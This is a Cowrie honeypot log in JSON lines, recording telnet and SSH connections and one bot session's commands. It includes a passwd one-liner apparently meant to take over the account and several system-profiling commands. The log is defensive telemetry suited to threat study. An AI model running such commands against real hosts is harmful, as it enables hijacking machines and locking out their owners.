{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44504,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca5c0ce9a6a","protocol":"telnet","message":"New connection: 38.54.119.93:44504 (10.17.0.5:23) [session: fca5c0ce9a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:59.584056Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fafa505e28c","protocol":"telnet","message":"New connection: 62.210.97.77:45552 (10.17.0.5:23) [session: 3fafa505e28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.225717Z"}
{"eventid":"cowrie.session.closed","duration":34.806296586990356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.335968Z","src_ip":"62.210.97.77","session":"bc72523c53fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.368093Z","src_ip":"181.234.2.36","session":"811cd68f5448","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.534003Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.537925Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.636089Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.897708Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin12345\\nbqZF0PRfStXM\\nbqZF0PRfStXM\"|passwd|bash","message":"CMD: echo -e \"admin12345\\nbqZF0PRfStXM\\nbqZF0PRfStXM\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.901331Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.905336Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:00.909205Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a23124d22e4cf19eb0e4e6db12c5c39984a450ae8e537a430dc0112cc7fc5d6f","size":32,"shasum":"a23124d22e4cf19eb0e4e6db12c5c39984a450ae8e537a430dc0112cc7fc5d6f","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a23124d22e4cf19eb0e4e6db12c5c39984a450ae8e537a430dc0112cc7fc5d6f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.005296Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.429042Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin12345\\nbqZF0PRfStXM\\nbqZF0PRfStXM\\n\"|passwd","message":"CMD: echo \"admin12345\\nbqZF0PRfStXM\\nbqZF0PRfStXM\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.432925Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e1bd1959b44677d53186db544edaceebe9e46f3dddc46d1caab3d9f3033f47bb","size":25,"shasum":"e1bd1959b44677d53186db544edaceebe9e46f3dddc46d1caab3d9f3033f47bb","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e1bd1959b44677d53186db544edaceebe9e46f3dddc46d1caab3d9f3033f47bb after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.527147Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.817741Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.822683Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:01.934877Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.217966Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.220879Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.325745Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.592813Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.597995Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.601785Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.699945Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.982033Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.986787Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.25918936729431,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:02.995166Z","src_ip":"165.232.131.181","session":"87a42269a207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46904,"dst_ip":"10.17.0.5","dst_port":23,"session":"a344eb098997","protocol":"telnet","message":"New connection: 38.54.119.93:46904 (10.17.0.5:23) [session: a344eb098997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.031242Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.083011Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.356462Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.362450Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.50052309036255,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.442529Z","src_ip":"65.60.27.33","session":"8f91c54b430b","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.458992Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.706423Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.710995Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba27ee51968","protocol":"telnet","message":"New connection: 62.210.97.77:45562 (10.17.0.5:23) [session: 8ba27ee51968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.720864Z"}
{"eventid":"cowrie.session.closed","duration":35.04827618598938,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.783634Z","src_ip":"62.210.97.77","session":"038cd76e5630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47160,"dst_ip":"10.17.0.5","dst_port":23,"session":"830a7765a62f","protocol":"telnet","message":"New connection: 65.60.27.33:47160 (10.17.0.5:23) [session: 830a7765a62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.805807Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:03.816184Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.083195Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.087767Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.185565Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.434308Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.438148Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.533152Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.790229Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.794237Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:04.894456Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.166066Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.170544Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.267305Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.529446Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.534703Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.631694Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.911656Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:05.915837Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.010714Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.256232Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.260443Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.366529Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.388632Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42530,"dst_ip":"10.17.0.5","dst_port":23,"session":"7361f514624b","protocol":"telnet","message":"New connection: 165.232.131.181:42530 (10.17.0.5:23) [session: 7361f514624b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:06.519843Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6f4ef0976f","protocol":"telnet","message":"New connection: 65.60.27.33:50874 (10.17.0.5:23) [session: 5e6f4ef0976f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:07.180324Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":46222,"dst_ip":"10.17.0.5","dst_port":22,"session":"fce10a536d7d","protocol":"ssh","message":"New connection: 172.185.24.228:46222 (10.17.0.5:22) [session: fce10a536d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:08.117389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:08.123857Z","src_ip":"172.185.24.228","session":"fce10a536d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:08.242021Z","src_ip":"172.185.24.228","session":"fce10a536d7d","protocol":"ssh"}
